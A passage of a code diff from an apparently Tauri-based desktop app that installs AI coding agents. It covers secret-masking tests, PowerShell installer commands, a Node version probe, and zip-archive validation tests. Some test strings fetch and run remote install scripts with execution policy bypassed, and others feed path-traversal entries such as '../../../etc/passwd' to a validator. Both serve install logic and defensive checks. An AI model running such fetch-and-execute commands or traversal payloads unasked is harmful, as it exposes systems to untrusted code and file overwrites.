+fn baked_env_from_map(map: &[(&str, &str)]) -> Vec<BakedEnvEntry> {
+    map.iter()
+        .filter(|(_, v)| !v.is_empty())
+        .map(|(k, v)| {
+            let masked = !super::is_safe_to_reveal(k);
+            BakedEnvEntry {
+                key: k.to_string(),
+                value: if masked {
+                    "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string()
+                } else {
+                    v.to_string()
+                },
+                masked,
+            }
+        })
+        .collect()
+}
+
+#[test]
+fn baked_env_non_secret_key_shows_real_value() {
+    let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]);
+    assert_eq!(entries.len(), 1);
+    assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER");
+    assert_eq!(entries[0].value, "databricks_v2");
+    assert!(!entries[0].masked);
+}
+
+#[test]
+fn baked_env_api_key_is_masked() {
+    let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]);
+    assert_eq!(entries.len(), 1);
+    assert_eq!(entries[0].value, "••••••");
+    assert!(entries[0].masked);
+}
+
+#[test]
+fn baked_env_token_key_is_masked() {
+    let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]);
+    assert_eq!(entries.len(), 1);
+    assert!(entries[0].masked);
+}
+
+#[test]
+fn baked_env_secret_key_is_masked() {
+    let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]);
+    assert_eq!(entries.len(), 1);
+    assert!(entries[0].masked);
+}
+
+#[test]
+fn baked_env_password_key_is_masked() {
+    let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]);
+    assert_eq!(entries.len(), 1);
+    assert!(entries[0].masked);
+}
+
+#[test]
+fn baked_env_empty_value_filtered_out() {
+    let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]);
+    assert!(entries.is_empty());
+}
+
+#[test]
+fn baked_env_mixed_keys_correct_masking() {
+    let entries = baked_env_from_map(&[
+        ("BUZZ_AGENT_PROVIDER", "databricks_v2"),
+        ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"),
+        ("DATABRICKS_HOST", "https://example.com"),
+        ("DATABRICKS_TOKEN", "dapi-secret"),
+    ]);
+    assert_eq!(entries.len(), 4);
+
+    let provider = entries
+        .iter()
+        .find(|e| e.key == "BUZZ_AGENT_PROVIDER")
+        .unwrap();
+    assert_eq!(provider.value, "databricks_v2");
+    assert!(!provider.masked);
+
+    let model = entries
+        .iter()
+        .find(|e| e.key == "BUZZ_AGENT_MODEL")
+        .unwrap();
+    assert_eq!(model.value, "goose-claude-opus-4-8");
+    assert!(!model.masked);
+
+    let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap();
+    assert_eq!(host.value, "https://example.com");
+    assert!(!host.masked);
+
+    let token = entries
+        .iter()
+        .find(|e| e.key == "DATABRICKS_TOKEN")
+        .unwrap();
+    assert_eq!(token.value, "••••••");
+    assert!(token.masked);
+}
+
+#[test]
+fn baked_env_thinking_effort_is_unmasked() {
+    // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked.
+    let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]);
+    assert_eq!(entries.len(), 1);
+    let effort = entries
+        .iter()
+        .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT")
+        .unwrap();
+    assert_eq!(effort.value, "medium");
+    assert!(!effort.masked);
+}
+
+#[test]
+fn baked_env_allowlist_is_case_insensitive() {
+    // Known-safe keys — case-insensitive match must allow them.
+    assert!(super::is_safe_to_reveal("buzz_agent_provider"));
+    assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER"));
+    assert!(super::is_safe_to_reveal("buzz_agent_model"));
+    assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL"));
+    assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort"));
+    assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT"));
+    assert!(super::is_safe_to_reveal("databricks_host"));
+    assert!(super::is_safe_to_reveal("DATABRICKS_HOST"));
+    assert!(super::is_safe_to_reveal("databricks_model"));
+    assert!(super::is_safe_to_reveal("DATABRICKS_MODEL"));
+    // Keys NOT in the allowlist — masked regardless of naming pattern.
+    assert!(!super::is_safe_to_reveal("my_api_key"));
+    assert!(!super::is_safe_to_reveal("GITHUB_TOKEN"));
+    assert!(!super::is_safe_to_reveal("DB_SECRET"));
+    assert!(!super::is_safe_to_reveal("DB_PASSWORD"));
+    // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed.
+    assert!(!super::is_safe_to_reveal("APIKEY"));
+    assert!(!super::is_safe_to_reveal("TOKEN"));
+    assert!(!super::is_safe_to_reveal("SECRET"));
+    assert!(!super::is_safe_to_reveal("PASSWORD"));
+    assert!(!super::is_safe_to_reveal("PRIVATE_KEY"));
+    // Unknown key → masked by default.
+    assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY"));
+}
diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs
index cbbf4ce351..9609db5f2d 100644
--- a/desktop/src-tauri/src/commands/agent_discovery.rs
+++ b/desktop/src-tauri/src/commands/agent_discovery.rs
@@ -21,25 +21,13 @@ fn active_installs() -> &'static std::sync::Mutex<std::collections::HashSet<Stri
 }
 
 /// Returns the adapter install commands that `install_acp_runtime_blocking` would
-/// run for `runtime_id` given a resolved adapter binary at `adapter_path` (or
-/// `None` if none was found).
+/// run for `runtime_id` given a resolved adapter binary at `adapter_path` (or `None` if not found).
+/// Returns `None` when no install is needed; `Some(cmds)` when adapter is missing or outdated.
 ///
-/// Returns `None` when no install is needed (adapter is present and current).
-/// Returns `Some(cmds)` when the adapter is missing or (for codex) below its
-/// minimum supported version.
-///
-/// For the codex **outdated** case the returned sequence is a two-step
-/// reinstall: first uninstall the old `@zed-industries/codex-acp` package
-/// (idempotent — exit 0 when absent), then install the new
-/// `@agentclientprotocol/codex-acp`.  This is required because both packages
-/// install a global binary named `codex-acp`, and npm ≥7 refuses to overwrite
-/// a bin file owned by a different package with `EEXIST`.
-///
-/// For the **missing** case the catalog's `adapter_install_commands` are used
-/// as-is (no prior package to remove).
-///
-/// This is a pure planning function: it never spawns a process.  Tests use it to
-/// assert the correct install command is selected without touching real npm.
+/// For the codex **outdated** case, returns a two-step reinstall: uninstall `@zed-industries/codex-acp`
+/// then install `@agentclientprotocol/codex-acp` (npm ≥7 refuses to overwrite a bin from another pkg).
+/// For the **missing** case, catalog's `adapter_install_commands` are used as-is.
+/// Pure planning function: never spawns a process. Tests use it to assert commands without real npm.
 pub(crate) fn plan_adapter_install<'c>(
     runtime_id: &str,
     adapter_path: Option<&std::path::Path>,
@@ -167,7 +155,6 @@ pub async fn save_custom_harness(
     Ok(AcpRuntimeCatalogEntry {
         id: definition.id,
         label: definition.label,
-        // Security: no user-supplied avatar URL in catalog entries.
         avatar_url: String::new(),
         availability,
         command: command_opt,
@@ -177,6 +164,9 @@ pub async fn save_custom_harness(
         model_env_var: None,
         provider_env_var: None,
         thinking_env_var: None,
+        max_tokens_env_var: None,
+        context_limit_env_var: None,
+        max_rounds_env_var: None,
         install_hint: definition.install_hint,
         install_instructions_url: definition.install_instructions_url,
         can_auto_install: false,
@@ -186,8 +176,8 @@ pub async fn save_custom_harness(
         auth_status: AuthStatus::NotApplicable,
         login_hint: None,
         source: HarnessSource::Custom,
-        // Carry definition env back so the edit form can read and preserve it.
         definition_env: definition.env,
+        max_parallelism: crate::managed_agents::harness_max_parallelism(&definition.command),
     })
 }
 
@@ -333,10 +323,7 @@ fn install_acp_runtime_blocking(
     // For the codex runtime, "found" is not enough — the resolved binary must also
     // pass the 1.x version gate. An outdated 0.16.x adapter must be overwritten by
     // the new npm install so the CODEX_CONFIG spawn contract works correctly.
-    let adapter_path = runtime
-        .commands
-        .iter()
-        .find_map(|cmd| crate::managed_agents::resolve_command(cmd));
+    let adapter_path = resolve_adapter_path(runtime.commands, runtime.adapter_install_commands);
     let adapter_probe_path = crate::managed_agents::readiness::cli_probe::augmented_path();
     if let Some(cmds) = plan_adapter_install(
         runtime_id,
@@ -1020,7 +1007,7 @@ use install_report::InstallReporter;
 mod managed_node;
 use managed_node::{
     ensure_managed_node_runtime_blocking, managed_node_runtime_supported, managed_npm_command,
-    npm_eacces_hint,
+    npm_eacces_hint, resolve_adapter_path,
 };
 
 #[tauri::command]
@@ -1741,7 +1728,7 @@ mod tests {
     #[test]
     fn test_powershell_command_argv_exact() {
         // Catalog format: body wrapped in one outer double-quote pair (Bash-layer serialization).
-        let body = "irm https://chatgpt.com/codex/install.ps1 | iex";
+        let body = "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-codex.ps1'; Invoke-RestMethod https://chatgpt.com/codex/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE";
         let cmd = super::install_powershell_command(&format!(
             r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "{body}""#
         ));
@@ -1771,12 +1758,12 @@ mod tests {
         );
     }
 
-    /// Claude Code catalog command (discovery.rs:107) must dequote to the bare pipeline.
+    /// Claude Code catalog command must dequote to the two-step download-then-execute body.
     #[cfg(windows)]
     #[test]
     fn test_powershell_command_claude_catalog_dequoted() {
         let cmd = super::install_powershell_command(
-            r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm https://claude.ai/install.ps1 | iex""#,
+            r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#,
         );
         assert_eq!(
             cmd.get_args()
@@ -1787,22 +1774,22 @@ mod tests {
                 "-ExecutionPolicy",
                 "Bypass",
                 "-Command",
-                "irm https://claude.ai/install.ps1 | iex",
+                "$ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-claude.ps1'; Invoke-RestMethod https://claude.ai/install.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE",
             ],
             "Claude catalog command must be dequoted correctly"
         );
     }
 
-    /// Goose Windows catalog command (discovery.rs:78) must dequote to a bare pipeline
-    /// with a literal `$env:` prefix — no backslash before the dollar sign.
-    /// This proves the `\$` → `$` escape fix: post-#2750 the spawn is native and
+    /// Goose Windows catalog command must dequote to the two-step download-then-execute body
+    /// with the `$env:CONFIGURE` prefix intact — no backslash before the dollar sign.
+    /// This proves the `\$` → `$` contract: post-#2750 the spawn is native and
     /// PowerShell receives the body verbatim, so a residual `\` would produce
     /// `\$env:CONFIGURE='false'` which is a malformed statement.
     #[cfg(windows)]
     #[test]
     fn test_powershell_command_goose_catalog_dequoted() {
         let cmd = super::install_powershell_command(
-            r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex""#,
+            r#"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE""#,
         );
         assert_eq!(
             cmd.get_args()
@@ -1813,7 +1800,7 @@ mod tests {
                 "-ExecutionPolicy",
                 "Bypass",
                 "-Command",
-                "$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex",
+                "$env:CONFIGURE='false'; $ErrorActionPreference='Stop'; $installer=Join-Path $env:TEMP 'buzz-install-goose.ps1'; Invoke-RestMethod https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 -OutFile $installer; & $installer; exit $LASTEXITCODE",
             ],
             "Goose catalog command must dequote with bare $env: (no backslash before $)"
         );
diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs
index 72108f0291..fbfb068c0e 100644
--- a/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs
+++ b/desktop/src-tauri/src/commands/agent_discovery/managed_node.rs
@@ -102,25 +102,155 @@ fn managed_node_failed_step(stderr: String) -> InstallStepResult {
     }
 }
 
-fn managed_node_runtime_ready() -> bool {
+pub(super) fn managed_node_runtime_ready() -> bool {
     let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else {
         return false;
     };
     if !node.is_file() {
         return false;
     }
-    let mut cmd = std::process::Command::new(&node);
+    probe_node(&node, MANAGED_NODE_VERSION, Duration::from_secs(3))
+}
+
+/// Run `executable --version` with a bounded deadline and return `true` only
+/// when it exits 0 and its trimmed stdout equals `expected_version`.
+///
+/// Transport: stdout is redirected to a temp file so no exit path can block on
+/// an inherited handle (a descendant retaining a pipe write-end would otherwise
+/// prevent EOF indefinitely).
+///
+/// Cleanup: the child runs in its own process group on Unix (`process_group(0)`)
+/// so an unconditional group SIGKILL on every exit path terminates all
+/// descendants.  On Windows, `terminate_process` issues `taskkill /T /F` for
+/// tree-wide cleanup.  SIGKILL to an already-dead group returns ESRCH (no-op).
+pub(super) fn probe_node(
+    executable: &std::path::Path,
+    expected_version: &str,
+    timeout: Duration,
+) -> bool {
+    let tmp = match tempfile::NamedTempFile::new() {
+        Ok(f) => f,
+        Err(_) => return false,
+    };
+    let out_file = match tmp.reopen() {
+        Ok(f) => f,
+        Err(_) => return false,
+    };
+
+    let mut cmd = std::process::Command::new(executable);
     cmd.arg("--version")
         .stdin(std::process::Stdio::null())
-        .stdout(std::process::Stdio::piped())
+        .stdout(std::process::Stdio::from(out_file))
         .stderr(std::process::Stdio::null());
     crate::util::configure_no_window(&mut cmd);
-    let output = cmd.output();
-    output
-        .ok()
-        .filter(|output| output.status.success())
-        .map(|output| String::from_utf8_lossy(&output.stdout).trim() == MANAGED_NODE_VERSION)
-        .unwrap_or(false)
+    #[cfg(unix)]
+    {
+        use std::os::unix::process::CommandExt;
+        cmd.process_group(0);
+    }
+    let Ok(mut child) = cmd.spawn() else {
+        return false;
+    };
+
+    let deadline = std::time::Instant::now() + timeout;
+    let exit_status = loop {
+        match child.try_wait() {
+            Ok(Some(status)) => break status,
+            Ok(None) => {
+                if std::time::Instant::now() >= deadline {
+                    kill_probe_group(child.id());
+                    let _ = child.wait();
+                    return false;
+                }
+                std::thread::sleep(Duration::from_millis(50));
+            }
+            Err(_) => {
+                kill_probe_group(child.id());
+                let _ = child.wait();
+                return false;
+            }
+        }
+    };
+
+    // Group-kill unconditionally: SIGKILL to a dead group is ESRCH (no-op).
+    kill_probe_group(child.id());
+
+    if !exit_status.success() {
+        return false;
+    }
+
+    let mut output = String::new();
+    if std::io::Read::read_to_string(&mut tmp.as_file(), &mut output).is_err() {
+        return false;
+    }
+    output.trim() == expected_version
+}
+
+/// Kill the probe's process group/tree unconditionally (no TERM grace — this
+/// is a probe, not an agent session).  ESRCH on a dead group is fine.
+fn kill_probe_group(pid: u32) {
+    #[cfg(unix)]
+    unsafe {
+        libc::kill(-(pid as i32), libc::SIGKILL);
+    }
+    #[cfg(windows)]
+    {
+        let _ = crate::managed_agents::terminate_process(pid);
+    }
+    #[cfg(not(any(unix, windows)))]
+    {
+        let _ = pid;
+    }
+}
+
+/// Returns `true` when the managed Node runtime is absent or no longer executes —
+/// meaning any existing npm adapter shims are broken and must be reinstalled.
+///
+/// This fires when the pinned Node version changes (e.g. v24.11.0 → v24.18.0):
+/// the old dir stays on disk, shims appear installed, but they fail at run time
+/// because the Node binary they reference is gone.  Treating the adapter as
+/// missing forces `ensure_managed_node_runtime_blocking` to re-download Node and
+/// npm to reinstall the shims.
+pub(super) fn managed_node_orphaned() -> bool {
+    managed_node_runtime_supported() && !managed_node_runtime_ready()
+}
+
+/// Returns `true` when an adapter at `resolved` should be invalidated.
+///
+/// Only a Buzz-managed shim (path under `managed_prefix`) with an orphaned
+/// runtime is invalidated; external adapters are always preserved.
+pub(super) fn should_invalidate_adapter(
+    resolved: &std::path::Path,
+    managed_prefix: &std::path::Path,
+    orphaned: bool,
+) -> bool {
+    orphaned && resolved.starts_with(managed_prefix)
+}
+
+/// Resolve the adapter binary path, accounting for the Node-orphan case.
+/// Resolves first; invalidates only managed-prefix shims when Node is orphaned.
+pub(super) fn resolve_adapter_path(
+    commands: &[&str],
+    adapter_install_commands: &[&str],
+) -> Option<std::path::PathBuf> {
+    let resolved = commands
+        .iter()
+        .find_map(|cmd| crate::managed_agents::resolve_command(cmd));
+
+    let needs_managed_npm = adapter_install_commands
+        .iter()
+        .any(|cmd| is_npm_global_install(cmd));
+    if needs_managed_npm {
+        if let (Some(ref path), Some(ref managed_bin)) =
+            (&resolved, crate::managed_agents::buzz_managed_npm_bin_dir())
+        {
+            if should_invalidate_adapter(path, managed_bin, managed_node_orphaned()) {
+                return None;
+            }
+        }
+    }
+
+    resolved
 }
 
 fn managed_node_install_lock() -> &'static Mutex<()> {
@@ -538,211 +668,5 @@ pub(super) fn npm_eacces_hint(stderr: &str, _command: &str) -> Option<String> {
 // ── end managed npm adapter installs ──────────────────────────────────────────
 
 #[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() {
-        let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap();
-        assert!(
-            hint.contains("Buzz's private Node tools directory"),
-            "hint: {hint}"
-        );
-    }
-
-    #[test]
-    fn test_rewrite_npm_install_uses_private_prefix() {
-        assert_eq!(
-            rewrite_npm_global_install(
-                "npm install -g @agentclientprotocol/codex-acp",
-                "'/tmp/Buzz Node'"
-            ),
-            "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp"
-        );
-    }
-
-    #[test]
-    fn test_rewrite_npm_i_uses_private_prefix() {
-        assert_eq!(
-            rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"),
-            "npm i --global --prefix '/tmp/buzz' some-package"
-        );
-    }
-
-    #[test]
-    fn test_rewrite_npm_uninstall_uses_private_prefix() {
-        assert_eq!(
-            rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"),
-            "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp"
-        );
-    }
-
-    #[test]
-    fn test_rewrite_ignores_non_global_command() {
-        assert_eq!(
-            rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"),
-            "npm install foo"
-        );
-    }
-
-    #[test]
-    fn test_shell_quote_escapes_single_quotes() {
-        assert_eq!(
-            shell_quote(std::path::Path::new("/tmp/Buzz's Node")),
-            "'/tmp/Buzz'\\''s Node'"
-        );
-    }
-
-    // ── zip validation tests ──────────────────────────────────────────────────
-
-    /// Build an in-memory zip archive with the supplied entry names and return
-    /// a temporary file containing it (zip::ZipArchive requires Seek).
-    fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile {
-        let mut buf: Vec<u8> = Vec::new();
-        {
-            let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf));
-            let opts = zip::write::SimpleFileOptions::default();
-            for name in entry_names {
-                writer.start_file(*name, opts).unwrap();
-            }
-            writer.finish().unwrap();
-        }
-        let mut tmp = tempfile::NamedTempFile::new().unwrap();
-        std::io::Write::write_all(&mut tmp, &buf).unwrap();
-        tmp
-    }
-
-    #[test]
-    fn test_validate_zip_accepts_normal_entries() {
-        let tmp = make_zip_with_entries(&[
-            "node-v24.18.0-win-x64/node.exe",
-            "node-v24.18.0-win-x64/npm.cmd",
-            "node-v24.18.0-win-x64/npm",
-        ]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        assert!(validate_managed_node_zip_entries(&archive).is_ok());
-    }
-
-    #[test]
-    fn test_validate_zip_rejects_absolute_path() {
-        let tmp = make_zip_with_entries(&["/etc/passwd"]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        let err = validate_managed_node_zip_entries(&archive).unwrap_err();
-        assert!(
-            err.contains("absolute path"),
-            "expected 'absolute path' in: {err}"
-        );
-    }
-
-    #[test]
-    fn test_validate_zip_rejects_path_traversal() {
-        let tmp = make_zip_with_entries(&["../../../etc/passwd"]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        let err = validate_managed_node_zip_entries(&archive).unwrap_err();
-        assert!(
-            err.contains("path traversal"),
-            "expected 'path traversal' in: {err}"
-        );
-    }
-
-    #[test]
-    fn test_validate_zip_rejects_backslash_rooted() {
-        // Windows-style absolute path using backslash — must reject on every host.
-        let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        let err = validate_managed_node_zip_entries(&archive).unwrap_err();
-        assert!(
-            err.contains("absolute path"),
-            "expected 'absolute path' in: {err}"
-        );
-    }
-
-    #[test]
-    fn test_validate_zip_rejects_drive_prefix() {
-        // Windows drive-letter absolute path — must reject on every host.
-        let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        let err = validate_managed_node_zip_entries(&archive).unwrap_err();
-        assert!(
-            err.contains("absolute path"),
-            "expected 'absolute path' in: {err}"
-        );
-    }
-
-    #[test]
-    fn test_validate_zip_rejects_backslash_traversal() {
-        // Path traversal using Windows separator — must reject on every host.
-        let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]);
-        let file = std::fs::File::open(tmp.path()).unwrap();
-        let archive = zip::ZipArchive::new(file).unwrap();
-        let err = validate_managed_node_zip_entries(&archive).unwrap_err();
-        assert!(
-            err.contains("path traversal"),
-            "expected 'path traversal' in: {err}"
-        );
-    }
-
-    // ── verify_node_tree layout tests ─────────────────────────────────────────
-
-    #[test]
-    fn test_verify_node_tree_unix_layout_passes() {
-        let tmp = tempfile::TempDir::new().unwrap();
-        let bin = tmp.path().join("bin");
-        std::fs::create_dir_all(&bin).unwrap();
-        std::fs::write(bin.join("node"), b"").unwrap();
-        std::fs::write(bin.join("npm"), b"").unwrap();
-        // On non-Windows the unix branch is active — this must pass.
-        #[cfg(not(windows))]
-        assert!(verify_node_tree(tmp.path()).is_ok());
-        // On Windows the windows branch is active — unix layout must fail.
-        #[cfg(windows)]
-        assert!(verify_node_tree(tmp.path()).is_err());
-    }
-
-    #[test]
-    fn test_verify_node_tree_unix_layout_missing_npm_fails() {
-        let tmp = tempfile::TempDir::new().unwrap();
-        let bin = tmp.path().join("bin");
-        std::fs::create_dir_all(&bin).unwrap();
-        std::fs::write(bin.join("node"), b"").unwrap();
-        // npm intentionally absent
-        #[cfg(not(windows))]
-        {
-            let err = verify_node_tree(tmp.path()).unwrap_err();
-            assert!(err.contains("bin/npm"), "err: {err}");
-        }
-    }
-
-    #[test]
-    fn test_verify_node_tree_windows_layout_passes() {
-        let tmp = tempfile::TempDir::new().unwrap();
-        std::fs::write(tmp.path().join("node.exe"), b"").unwrap();
-        std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap();
-        std::fs::write(tmp.path().join("npm"), b"").unwrap();
-        // On Windows the windows branch is active — this must pass.
-        #[cfg(windows)]
-        assert!(verify_node_tree(tmp.path()).is_ok());
-        // On non-Windows the unix branch is active — windows-layout root files
-        // don't satisfy bin/node + bin/npm, so this must fail.
-        #[cfg(not(windows))]
-        assert!(verify_node_tree(tmp.path()).is_err());
-    }
-
-    #[test]
-    fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() {
-        let tmp = tempfile::TempDir::new().unwrap();
-        std::fs::write(tmp.path().join("node.exe"), b"").unwrap();
-        std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap();
-        // npm POSIX shim intentionally absent
-        #[cfg(windows)]
-        {
-            let err = verify_node_tree(tmp.path()).unwrap_err();
-            assert!(err.contains("npm"), "err: {err}");
-        }
-    }
-}
+#[path = "managed_node_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs
new file mode 100644
index 0000000000..a8e1d7f4c8
--- /dev/null
+++ b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs
@@ -0,0 +1,481 @@
+use super::*;
+
+#[test]
+fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() {
+    let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap();
+    assert!(
+        hint.contains("Buzz's private Node tools directory"),
+        "hint: {hint}"
+    );
+}
+
+#[test]
+fn test_rewrite_npm_install_uses_private_prefix() {
+    assert_eq!(
+        rewrite_npm_global_install(
+            "npm install -g @agentclientprotocol/codex-acp",
+            "'/tmp/Buzz Node'"
+        ),
+        "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp"
+    );
+}
+
+#[test]
+fn test_rewrite_npm_i_uses_private_prefix() {
+    assert_eq!(
+        rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"),
+        "npm i --global --prefix '/tmp/buzz' some-package"
+    );
+}
+
+#[test]
+fn test_rewrite_npm_uninstall_uses_private_prefix() {
+    assert_eq!(
+        rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"),
+        "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp"
+    );
+}
+
+#[test]
+fn test_rewrite_ignores_non_global_command() {
+    assert_eq!(
+        rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"),
+        "npm install foo"
+    );
+}
+
+#[test]
+fn test_shell_quote_escapes_single_quotes() {
+    assert_eq!(
+        shell_quote(std::path::Path::new("/tmp/Buzz's Node")),
+        "'/tmp/Buzz'\\''s Node'"
+    );
+}
+
+// ── zip validation tests ──────────────────────────────────────────────────────
+
+/// Build an in-memory zip archive with the supplied entry names and return
+/// a temporary file containing it (zip::ZipArchive requires Seek).
+fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile {
+    let mut buf: Vec<u8> = Vec::new();
+    {
+        let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf));
+        let opts = zip::write::SimpleFileOptions::default();
+        for name in entry_names {
+            writer.start_file(*name, opts).unwrap();
+        }
+        writer.finish().unwrap();
+    }
+    let mut tmp = tempfile::NamedTempFile::new().unwrap();
+    std::io::Write::write_all(&mut tmp, &buf).unwrap();
+    tmp
+}
+
+#[test]
+fn test_validate_zip_accepts_normal_entries() {
+    let tmp = make_zip_with_entries(&[
+        "node-v24.18.0-win-x64/node.exe",
+        "node-v24.18.0-win-x64/npm.cmd",
+        "node-v24.18.0-win-x64/npm",
+    ]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    assert!(validate_managed_node_zip_entries(&archive).is_ok());
+}
+
+#[test]
+fn test_validate_zip_rejects_absolute_path() {
+    let tmp = make_zip_with_entries(&["/etc/passwd"]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    let err = validate_managed_node_zip_entries(&archive).unwrap_err();
+    assert!(
+        err.contains("absolute path"),
+        "expected 'absolute path' in: {err}"
+    );
+}
+
+#[test]
+fn test_validate_zip_rejects_path_traversal() {
+    let tmp = make_zip_with_entries(&["../../../etc/passwd"]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    let err = validate_managed_node_zip_entries(&archive).unwrap_err();
+    assert!(
+        err.contains("path traversal"),
+        "expected 'path traversal' in: {err}"
+    );
+}
+
+#[test]
+fn test_validate_zip_rejects_backslash_rooted() {
+    // Windows-style absolute path using backslash — must reject on every host.
+    let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    let err = validate_managed_node_zip_entries(&archive).unwrap_err();
+    assert!(
+        err.contains("absolute path"),
+        "expected 'absolute path' in: {err}"
+    );
+}
+
+#[test]
+fn test_validate_zip_rejects_drive_prefix() {
+    // Windows drive-letter absolute path — must reject on every host.
+    let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    let err = validate_managed_node_zip_entries(&archive).unwrap_err();
+    assert!(
+        err.contains("absolute path"),
+        "expected 'absolute path' in: {err}"
+    );
+}
+
+#[test]
+fn test_validate_zip_rejects_backslash_traversal() {
+    // Path traversal using Windows separator — must reject on every host.
+    let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]);
+    let file = std::fs::File::open(tmp.path()).unwrap();
+    let archive = zip::ZipArchive::new(file).unwrap();
+    let err = validate_managed_node_zip_entries(&archive).unwrap_err();
+    assert!(
+        err.contains("path traversal"),
+        "expected 'path traversal' in: {err}"
+    );
+}
+
+// ── verify_node_tree layout tests ─────────────────────────────────────────────
+
+#[test]
+fn test_verify_node_tree_unix_layout_passes() {
+    let tmp = tempfile::TempDir::new().unwrap();
+    let bin = tmp.path().join("bin");
+    std::fs::create_dir_all(&bin).unwrap();
+    std::fs::write(bin.join("node"), b"").unwrap();
+    std::fs::write(bin.join("npm"), b"").unwrap();
+    // On non-Windows the unix branch is active — this must pass.
+    #[cfg(not(windows))]
